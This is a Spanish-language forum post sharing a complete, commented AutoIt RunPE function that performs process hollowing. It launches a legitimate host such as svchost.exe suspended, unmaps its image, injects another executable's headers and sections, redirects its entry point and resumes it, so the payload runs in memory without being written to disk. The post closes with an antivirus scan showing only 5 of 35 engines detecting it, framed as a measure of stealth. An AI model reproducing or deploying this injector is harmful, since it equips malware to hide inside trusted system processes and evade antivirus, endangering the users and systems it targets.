Quiero dar las gracias a a The_Swash por haber definido los pasos a seguir para la creacion de un RunPE los cuales yo segui para realizar este codigo.
Tambien agradecer a los autores de varios RunPE que he leido para poder solucionar mis dudas, autores como: M3, Tracexx y Karcark.
El codigo esta bastante comentando para todo aquel que quiera echarle un vistaso.
Estos son los pasos que definio The_Swah en un comentario en un foro vecino.
Código: Seleccionar todo
- Comprobar que es un ejecutable válido (MZ & PE/x0/x0 Signature).
- Crear un nuevo proceso suspendido (Generalmente con el mismo ejecutable).
- Desasignar la proyección del archivo en ese proceso, ImageBase. (Limpiar el ejecutable del proceso).
- Obtener contextos (Registros).
- Reservar en memoria la dirección del ImageBase del ejecutable con un tamaño del campo SizeOfImage. (ImageBase y SizeOfImage del archivo a ejecutar).
- Escribir la cabecera y las secciones alineadas por el campo SectionAlignment.
- Editar EAX en los registros leídos por la dirección del punto de entrada del archivo a ejecutar.
- Editar EBX + 8 por el ImageBase del ejecutable a cargar (Cambiar base de la imagen del nuevo proceso).
- Editar con el nuevo contexto (Escribir registros).
- Iniciar el proceso suspendido.
#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.8.1
Author: Naker90
Script Function:
Ejecuta un archivo en memoria sin necesidad de droppearlo en el disco.
Parametros:
$byFile => Parametro que contrendra los bytes del archivo a cargar. (Retorno de la funcion "FileRead")
$szParametros => Posibles parametros del ejecutable.
$sHost => El nombre del modulo que se va a ejecutar
Funcional en Windows 7 x64
Agradecimientos a The_Swash por haber definido los pasos a seguir para la creacion de un RunPE los cuales yo segui para realizar este codigo.
Tambien agradecer a los autores de varios RunPE que he leido para poder solucionar mis dudas, autores como: M3, Tracexx y Karcark
Recomiendo pasarle al parametro Host un ejecutable perteneciente a la carpeta "C:\Windows\SysWOW64" por ejemplo "systray.exe"
Ejemplo de Uso:
Local $File = "C:\Users\Naker90\Desktop\Anotador Naker90.exe"
Local $Read = FileRead($File)
_RunPE($Read, '', @SystemDir & "\svchost.exe")
#ce ----------------------------------------------------------------------------
Func _RunPE($byFile, $szParametros, $sHost)
;Si el modulo para el createprocess es el propio ejecutable, debemos copilar antes de usar el codigo.
If $sHost = @ScriptFullPath then
If not @Compiled then
MsgBox(16, 'ERROR', 'Compile el script antes de utilizarlo!')
Return 0
EndIf
EndIf
;Lo primero es crear el puntero
Local $sFileStruct = DllStructCreate('Byte[' & BinaryLen($byFile) & ']')
DllStructSetData($sFileStruct, 1, $byFile)
Local $pPointer = DllStructGetPtr($sFileStruct)
;Vamos a separar el codigo en 2 partes: 1 La cabecera y 2 La memoria. De esta forma no mezclamos las cosas.
;------------------------------------------------------------------
; 1.- Operaciones con la cabezera. En esta parta vamos a sacar gran parte de los datos relacionados con la cabecera que nos serviran posteriormente.
;------------------------------------------------------------------
;Creamos la estructura para los datos que contiene el IMAGE_DOS_STRUCT
Local $sDOS_Struct = DllStructCreate('WORD e_magic;WORD e_cblp;WORD e_cp;WORD e_crlc;WORD e_cparhdr;WORD e_minalloc;WORD e_maxalloc;WORD e_ss;WORD e_sp;WORD e_csum;WORD e_ip;WORD e_cs;WORD e_lfarlc;WORD e_ovno;WORD e_res[4];WORD e_oemid;WORD e_oeminfo;WORD e_res2[10];WORD e_lfanew', $pPointer)
;Si el archvo con tiene el "MZ" propio de los archivos ejecutables continuamos con el codigo, de lo contrario lanzamos un mensaje y retornamos 0
If DllStructGetData($sDOS_Struct, 'e_magic') = 23117 Then
;Le sumamos al puntero el valor de "PE/0x/0x"
$pPointer += DllStructGetData($sDOS_Struct, 'e_lfanew')
;Creamos la estructura IMAGE_NT_HEADER para poder utilizar posteriormente IMAGE_FILE_STRUCT y IMAGE_OPTIONAL_HEADER
Local $sNT_Struct = DllStructCreate('DWORD signature;CHAR IMAGE_FILE_HEADER[20];CHAR IMAGE_OPTIONAL_HEADER[224]', $pPointer)
;Creamos la structura IMAGE_FILE_HEADER y le pasamos el puntero de elemento 2 de la structura IMAGE_NT_HEADER. De aqui vamos a sacar el numero de secciones.
Local $sFile_Struct = DllStructCreate('WORD Machine;WORD NumberOfSections;DWORD TimeDateStamp;DWORD PointerToSymbolTable;DWORD NumberOfSymbols;WORD SizeOfOptionalHeader;WORD Characteristics;', DllStructGetPtr($sNT_Struct, 'IMAGE_FILE_HEADER'))
Local $wNumberOfSection = DllStructGetData($sFile_Struct, 'NumberOfSections')
;Ahora vamos a crear la structura del IMAGE_OPTIONAL_HEADER de la cual sacaremos los datos de: ImageBase, SizeOfImage, EntryPoint y el SizeOfHeaders.
Local $sOptional_Struct = DllStructCreate('WORD magic;BYTE majorlinkerversion;BYTE minorlinkerversion;DWORD sizeofcode;DWORD sizeofinitializeddata;DWORD sizeofuninitializeddata;DWORD addressofentrypoint;DWORD baseofcode;DWORD baseofdata;DWORD imagebase;DWORD sectionalignment;DWORD filealignment;WORD majoroperatingsystemversion;WORD minoroperatingsystemversion;WORD majorimageversion;WORD minorimageversion;WORD majoresubsystemversion;WORD minorsubsystemversion;DWORD win32versionvalue;DWORD sizeofimage;DWORD sizeofheaders;DWORD checksum;WORD subsystem;WORD dllcharacteristics;DWORD sizeofstackreserve;DWORD sizeofstackcommit;DWORD sizeofheapcommit;DWORD loaderflags;DWORD numberofrvaandsizes;DOUBLE datadirectory[16]', DllStructGetPtr($sNT_Struct, 'IMAGE_OPTIONAL_HEADER'))
Local $dwImageBase = DllStructGetData($sOptional_Struct, 'imagebase')
Local $dSizeOfImage = DllStructGetData($sOptional_Struct, 'sizeofimage')
Local $dEntryPoint = DllStructGetData($sOptional_Struct, 'addressofentrypoint')
Local $dSizeOfHeaders = DllStructGetData($sOptional_Struct, 'sizeofheaders')
;Sumamos al puntero el tamaño del IMAGE_OPTIONAL_HEADER y 24 que es el tamaño de la IT(Import Table)
$pPointer += (DllStructGetData($sFile_Struct, 'SizeOfOptionalHeader') + 24)
;------------------------------------------------------------------
; 2.- La Memoria. En esta parte vamos a realizar todas las operaciones con la memoria.
;------------------------------------------------------------------
;Creamos las structuras StartUpInfo y ProcessInformation que luego necesitaremos para crear el proceso.
Local $sStartUpInfo = DllStructCreate('dword cbSize;ptr Reserved;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;dword YCountChars;dword FillAttribute;dword Flags;ushort ShowWindow;ushort Reserved2;ptr Reserved2;ptr hStdInput;ptr hStdOutput;ptr hStdError')
Local $sProcessInfo = DllStructCreate('handle hProcess;handle hThread;dword dwProcessId;dword dwThreadId')
;Lo primero es crear el proceso suspendido tirando de la API "CreateProcess". Podemos ejecutar el proceso suspendido en nuestra propia instacia o en la de otro proceso.
Local $iCreateProcess = DllCall('Kernel32.dll', 'Bool', 'CreateProcessW', 'Wstr', $sHost, 'Wstr', $szParametros, 'Ptr', 0, 'Ptr', 0, 'Bool', False, 'Dword', 4, 'Ptr', 0, 'Ptr', 0, 'Ptr', DllStructGetPtr($sStartUpInfo), 'Ptr', DllStructGetPtr($sProcessInfo))
;Obtenemos el valor del "hThread" y "hProcess" de la estructura ProcessInfo que nos servira luego para trabajar con la API "NtGetContextThread" y "VirtualAllocEx".
Local $hThread = DllStructGetData($sProcessInfo, 'hThread')
Local $hProcess = DllStructGetData($sProcessInfo, 'hProcess')
;Limpiamos el ejecutable del proceso antes de reservar memoria, esto lo vamos a hacer con la API "NtUnmapViewOfSection"
Local $iUnMapSection = DllCall('Ntdll.dll', 'Int', 'NtUnmapViewOfSection', 'Ptr', $hProcess, 'Ptr', $dwImageBase)
;Obtenemos los contextos (Registros) con la estructura CONTEXT y establecemos la bandera con el valor 0x10007
Local $sContext_Struct = DllStructCreate('dword ContextFlags;dword Dr0; dword Dr1; dword Dr2; dword Dr3; dword Dr6; dword Dr7;dword ControlWord; dword StatusWord; dword TagWord; dword ErrorOffset; dword ErrorSelector; dword DataOffset; dword DataSelector; byte RegisterArea[80]; dword Cr0NpxState;dword SegGs; dword SegFs; dword SegEs; dword SegDs;dword Edi; dword Esi; dword Ebx; dword Edx; dword Ecx; dword Eax;dword Ebp; dword Eip; dword SegCs; dword EFlags; dword Esp; dword SegSs;byte ExtendedRegisters[512]')
DllStructSetData($sContext_Struct, 1, 0x10007)
;Obtenemos el context con la API "GetContextThread"
Local $iGetContextThread = DllCall('Kernel32.dll', 'Int', 'GetThreadContext', 'Handle', $hThread, 'Ptr', DllStructGetPtr($sContext_Struct))
;Reservamos memoria con VirtualAllocEx
Local $pVirtualAlloc = DllCall('Kernel32.dll', 'Ptr', 'VirtualAllocEx', 'Handle', $hProcess, 'Ptr', $dwImageBase, 'Dword', $dSizeOfImage, 'Dword', 0x3000, 'Dword', 0x40)
;Escribimos en el proceso la cabecera.
Local $iWriteProcessFirst = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $hProcess, 'Ptr', $dwImageBase, 'Ptr', DllStructGetPtr($sDOS_Struct), 'Ulong_Ptr', $dSizeOfHeaders, 'Dword', 0)
;Escribimos las cabeceras en la memoria que acabamos de reservar.
For $i = 1 To $wNumberOfSection
;Creamos la estructura para las secciones. En este momento nos encontramos en la primera seccion.
Local $sSection_Struct = DllStructCreate('char Name[8];dword UnionOfVirtualSizeAndPhysicalAddress;dword VirtualAddress;dword SizeOfRawData;dword PointerToRawData;dword PointerToRelocations;dword PointerToLinenumbers;ushort NumberOfRelocations;ushort NumberOfLinenumbers;dword Characteristics', $pPointer)
;Obtenemos los datos de las seccion necesarios para escribirlos en memoria
Local $dVirtualAddress = ($dwImageBase + DllStructGetData($sSection_Struct, 'VirtualAddress'))
Local $dSizeOfRawData = DllStructGetData($sSection_Struct, 'SizeOfRawData')
Local $dPointerToRawData = (DllStructGetPtr($sDOS_Struct) + DllStructGetData($sSection_Struct, 'PointerToRawData'))
;Escribimos los datos con "WriteProcessMemory"
Local $iWriteProcessSecond = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $hProcess, 'Ptr', $dVirtualAddress, 'Ptr', $dPointerToRawData, 'Ulong_Ptr', $dSizeOfRawData, 'Dword', 0)
;Le sumamos al puntero 40 que es el valor de la estructutura IMAGE_SECTION_HEADER entera.
$pPointer += 40
Next
;Modificamos el EntryPoint sumandole al actual el valor del ImageBase.
Local $dModEntryPoint = $dwImageBase + $dEntryPoint
DllStructSetData($sContext_Struct, 'Eax', $dModEntryPoint)
;Modificamos EBX + 8 por el ImageBase del ejecutable a cargar.
Local $dNewEBX = (DllStructGetData($sContext_Struct, 'Ebx') + 8)
Local $iWriteVirtualMemory = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $hProcess, 'Ptr', $dNewEBX, 'Ptr*', $dwImageBase, 'Ulong_Ptr', 4, 'Dword', 0)
;Le asignamos al proceso los regsitros con la API "SetThreadContext" y luego arrancamos el proceso con "ResumeThread".
Local $iSetThread = DllCall('Kernel32.dll', 'Int', 'SetThreadContext', 'Handle', $hThread, 'Ptr', DllStructGetPtr($sContext_Struct))
Local $dResume = DllCall('Kernel32.dll', 'Dword', 'ResumeThread', 'Handle', $hThread)
Else
MsgBox(16, 'ERROR', 'Este archivo no es un ejecutable!')
Return 0
EndIf
EndFunc ;==>_RunPE
Tambien le hice un scan a ver como estaba de detectado y salio esto:Fecha del reporte: Mon, 28 Jul 2014 01:17:12 +0000
Archivo: RunPE By Naker90.exe
Tamaño: 653581 bytes
MD5: ef8d61113f9f43f0fa5cf0ed4da6af60
Estado: Infectado
Detecciones: 5 de 35 (14%)
Reporte generado por [Enlace externo eliminado para invitados]
[Detecciones]
A-Squared - Clean
AVG Free - Clean
Ad-Aware - Clean
AntiVir (Avira) - Clean
Avast - AutoIt:Injector-G [Trj]
BitDefender - Clean
BullGuard - Clean
COMODO Internet Security - Clean
Clam Antivirus - Win.Trojan.Autoit-1372
Dr.Web - Clean
ESET NOD32 - Clean
F-PROT Antivirus - Clean
F-Secure Internet Security - Clean
FortiClient - Clean
G Data - AutoIt:Injector-G [Trj]
IKARUS Security - Clean
K7 Ultimate - Clean
Kaspersky Antivirus - Clean
MS Security Essentials - Clean
McAfee - Clean
NANO Antivirus - Clean
Norman - Clean
Norton Antivirus - Clean
Panda CommandLine - Clean
Panda Security - Clean
Quick Heal Antivirus - Suspicious
SUPERAntiSpyware - Clean
Solo Antivirus - Clean
Sophos - Clean
Trend Micro Internet Security - Clean
Twister Antivirus - Clean
VBA32 Antivirus - Clean
VIPRE - Trojan.Win32.Generic=21BT
Zoner AntiVirus - Clean
eTrust-Vet - Clean
Este RunPE no funciona con aplicaciones compiladas especialmente para arquitecturas de x64 bits.
Bueno esto es todo.
Saludos